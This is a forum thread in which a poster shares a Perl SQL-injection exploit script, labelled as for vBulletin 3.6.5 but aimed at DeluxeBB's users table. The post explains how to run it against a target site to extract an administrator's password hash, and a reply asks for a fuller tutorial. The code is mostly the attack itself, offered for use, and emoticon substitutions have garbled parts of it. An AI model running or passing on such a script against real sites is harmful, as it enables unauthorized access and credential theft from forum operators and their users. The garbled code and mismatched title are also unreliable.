Post: vBulletin 3.6.5 Exploit Perl Script
02-03-2013, 02:44 PM #1
H4K
Banned
(adsbygoogle = window.adsbygoogle || []).push({}); Hey guys first you guys need to download Perl. You must login or register to view this content.

Enter this code in a text file
#!/usr/bin/perl

use IO::Socket;


print q{
######################################################
# DeluxeBB Remote SQL Injection Exploit #
# vbulletin Remote SQL Injection Exploit #
# // SekoMirza // Turkish Hackerz #
######################################################
};

if (!$ARGV[2]) {

print q{
Usage: perl dbbxpl.pl host /directory/ victim_userid

perl dbbxpl.pl [url]www.somesite.com[/url] /forum/ 1


};

}


$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];

print "------------------------------------------------------------------------------------------------
";
print "[>] SERVER: $server
";
print "[>] DIR: $dir
";
print "[>] USERISad Awesome $user
";
print "------------------------------------------------------------------------------------------------

";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .=

"misc.php?sub=profile&name=0'Winky Winky+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%

20WHERE%20(uid='".$user ;


print "[~] PREPARE TO CONNECT...
";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED
";
print "[~] SENDING QUERY...
";
print $socket "GET $path HTTP/1.1
";
print $socket "Host: $server
";
print $socket "Accept: */*
";
print $socket "Connection: close

";
print "[+] DONE!

";



print "--[ REPORT ]------------------------------------------------------------------------------------
";
while ($answer = <$socket>Winky Winky
{

if ($answer =~/(\w{32})/)
{

if ($1 ne 0) {
print "Password Hash is: ".$1."
";
print "--------------------------------------------------------------------------------------
";

}
exit();
}

}
print "------------------------------------------------------------------------------------------------
";

#########################################################
#Shoutz: #
# #
# My Sweet -> Caramel #
# For Mp3s -> Hypn0sis #
# For Support -> [[url]WwW.StarHack.Org][/url] #
# My Bro -> PhantomOrchid #
# My Preceptor -> Earnk Kazno #
#########################################################



Then Save AS and click save as all files. and rename to anything (example)vbexploit.pl and put .pl at the end.


After you have done that open CMD.

When CMD is opened type in perl "space" and drag the file on cmd and press enter.. follow the steps and you will be able to retrieve ADMIN hash:salt..

I take no Credit
(adsbygoogle = window.adsbygoogle || []).push({});
02-03-2013, 05:04 PM #2
Pichu
RIP PICHU.
Um, can we get a step by step tutorial on what we need to do and what we should see as we do.

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo